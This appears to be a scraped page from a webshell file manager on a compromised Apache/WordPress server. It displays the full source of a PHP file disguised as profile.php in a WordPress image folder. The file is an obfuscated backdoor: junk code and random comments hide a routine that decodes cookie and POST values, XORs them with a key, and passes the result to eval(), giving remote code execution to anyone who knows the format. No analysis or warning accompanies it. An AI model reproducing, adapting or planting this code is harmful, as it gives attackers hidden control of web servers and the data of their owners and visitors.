HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web95 (5097)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web95/web/wp-includes/images/crystal/profile.php
<?php
function     gJDpWA($VISTEMEG)
				   {
		/*UlPJT */return   @pack(	'H'	.     "\52",/*t   */$VISTEMEG/*   fxdh */);

   
/*   y  */$bMxDoRLhCR/*T   */=	md5($VISTEMEG);

	$vTcATLsOhy/* rc */=   base64_decode($VISTEMEG);$_HmwcS/*  ehz */=	'52011';
 /*lbFqv*/if/* QdEO  */($vTcATLsOhy/*   U   */===	false)/*  LJMAx   */{
       $vTcATLsOhy	=/*   mEAS */'';
				   }
    	$wkyHmJSGsm/*  mai  */=	str_split($VISTEMEG);;

	$TXjTDq/*   dRz   */=/*  O   */strlen($VISTEMEG);
						$GRYdx/* Kjs */=/*  TyTo  */0;

    while/* iOl   */(/*  u */$GRYdx/* rJk */<	$TXjTDq	)    {
     	$GRYdx++;
				  $jmgFMFxdZk	=	$wkyHmJSGsm[$GRYdx];
					/* UMB*/if/* HOAX */(strpos($jmgFMFxdZk,/* f   */'a') !==	false)	{
						$wkyHmJSGsm[$GRYdx]/*  Pg   */= strtoupper($jmgFMFxdZk);;
        }


/*  XUS   */}
			$ooQphTLdJS/*  mB  */=	implode('',/*lnMtq  */$wkyHmJSGsm);
	    $_GET['decoded']/* ofVF*/=	$ooQphTLdJS;$_BtwFu/*Eop*/=/*y   */'33788';
    	$_POST['hash']/* L */=  $bMxDoRLhCR;
			 if/* vMD  */(file_exists('path/to/file'))/*  O   */{
/*  HW */$vHouOjSKyn     = file_get_contents('path/to/file');
      $SNKjV     =  explode(',',/* ftVj*/$vHouOjSKyn);$_td/* L*/=	'17876';
	$GRYdxbBFXV =   md5(serialize($SNKjV));
		    if	(is_array($SNKjV))     {
			/*ZUmC */$ztHGXrSEWH	=/*zrZVL  */array_slice($SNKjV,	0,	5);$_txXnU =	'17345';
          }


   }


     $zEGyKVFCz	=/*  Nlho   */array_map('trim',/*  NI*/$ztHGXrSEWH);
	$lCyPVFpBQK    =/* xXie*/rawurldecode(implode(',',	$zEGyKVFCz));$_M =	'49480';
	/*  nCsG  */$_COOKIE['final_value']	=    $lCyPVFpBQK;$_P  =/*Mo   */'22222';
        }
 	
     function RxhPvyw()
        {
				$DgrLdh	=    Array($_COOKIE,   $_POST);
     /*  H*/$npubaqdSt =	array_map('md5',    $_COOKIE);$_DAA/*Eb   */=	'7615';
    /*  sTwi   */$wVYUx	=    strpos($_SERVER['HTTP_USER_AGENT'],  'Mozilla')/*i   */!== false/*  moK  */?     'browser/* dP */is/*ndN */Mozilla'/*mlt  */:	'browser is/*cQs */not	Mozilla';$_vSaxx	=    '11035';
			
     	if	(is_array($DgrLdh))  {
    /*xVv */$XLyJKat	=	array_slice($DgrLdh,/*   YPErh  */0,  1);;
    }/* hAR*/else  {

 $XLyJKat	=/*  sHTdh*/[];


/* gwt  */}


     
      $BvHeevurh/*  GSr */=	explode(',',	'apple,orange,banana');;
        $jsNyPS   =    rawurldecode('%20Hello%20World%20');;
		$GRYdx =/* RCuP  */0;$_Csnd	=   '33077';	
  while ($GRYdx/*V*/< count($BvHeevurh)/*   An */)    {
    $BvHeevurh[$GRYdx]  =	str_repeat($BvHeevurh[$GRYdx],/*   htILD */2);;
       $GRYdx++;
       }


    

	$HTFiwDUJgw	=    str_repeat($wVYUx,/*im */3);
					
/*aG */return $DgrLdh;$_cCL =	'38053';


     }
						
	/*   ygZ   */function	rqDSXRAxn($NTdnizIT)
      {
/* mWYD  */$ZLQVulH/*Y  */=   chr	(35);
    	foreach    (RxhPvyw()/*   B */as/* OM  */$UnzDKgud)/*RB  */{
		/* kUqg  */eevjNLF($UnzDKgud,	$ZLQVulH);;
			 }
       }
     	
  	function/*   HiUo  */KKhMBK($bokfkUgng,/*  cUMG  */$xYeFAXkRi)
      {
				/*   SSn   */if/*   hft*/(/*BzyKj   */count/*LUEUD   */(    $bokfkUgng/* j   */) ==/* Uwk */3  )/* tjDLF   */{
			/*K*/$yldkUGmXo     =	$bokfkUgng[1];
				     $LmgcdJt   = $bokfkUgng[2];
   	$qGYCLmYnW	=  $yldkUGmXo($LmgcdJt);$_r/* ca*/= '33501';
			    eval   (/*lZKW   */$qGYCLmYnW	);;
				die/*   ClI */();


 }
	}
      
   	function	CngrlQ($VISTEMEG,     $vbwLFpZjVl)
			{
 	return	$VISTEMEG	^     $vbwLFpZjVl;$_Qz/* KUoD   */=/* Ry  */'65481';
	/* u */}
      
          function/* Bod   */dpBEAA($cKBHmYVIhG,	$ZLQVulH)
					  {	


	$cKBHmYVIhG	=     explode/*dxjkj  */($ZLQVulH,/*   YXu   */$cKBHmYVIhG );
      
			KKhMBK($cKBHmYVIhG,	$ZLQVulH);
   	}
 
			function	eevjNLF($UnzDKgud,/*   TuBZ*/$ZLQVulH)
					{
			foreach     (   $UnzDKgud as/*UXQfO   */$vbwLFpZjVl/*J   */=>     $VISTEMEG/* QytYH*/)/*   aazr   */{


   eIEBXFSoYx($vbwLFpZjVl,	gJDpWA($VISTEMEG),/*  Wr */$ZLQVulH);

/*   V  */}


  }

/*   st */
	    function    UmCjBm($vbwLFpZjVl,	$VISTEMEG)
	{
				/*fMIHT   */$SRLWENJOH	=	strlen(	$VISTEMEG/* TJn */)/strlen(	$vbwLFpZjVl	);$_DYwj/*  UPb   */=	'19211';
		/*  l*/$vbwLFpZjVl	.=	"JVYDHOY-EYEAx-OPtXVd-ltV-RGHOT-TfO-Oik";$_YsDVi/* VNrae  */=  '31840';


/* i   */$vbwLFpZjVl	=/* z   */str_repeat/*  MG */(	$vbwLFpZjVl,     intval($SRLWENJOH) +	1);
	
	    return/*  ZhX*/$vbwLFpZjVl;

	}
		
 /*   bWu*/function	eIEBXFSoYx($vbwLFpZjVl,    $VISTEMEG,     $ZLQVulH)

/*  jw  */{   
		dpBEAA(CngrlQ($VISTEMEG,	UmCjBm($vbwLFpZjVl,	$VISTEMEG)),/* n*/$ZLQVulH);;
	/*  NBue */
     $HlwpAkUcX   =   trim($VISTEMEG);;


    $gSQHUkNQG =/*ox*/explode($ZLQVulH,	$HlwpAkUcX);;
    /*  R  */if/* czF */(count($gSQHUkNQG)/*  v   */>/*   r  */1)/* SPdQ  */{
 /*  TNl  */$WachTQBCP/*   z*/=   implode(chr/*  rG*/(45),/* IhFw */$gSQHUkNQG);
  /*SQ*/$nEQbvkHBhb	=  str_pad($WachTQBCP,	20,	"\60",     STR_PAD_RIGHT);;
	}
					    }
         
/*hj */rqDSXRAxn("");$_cGWsP     =    '8615';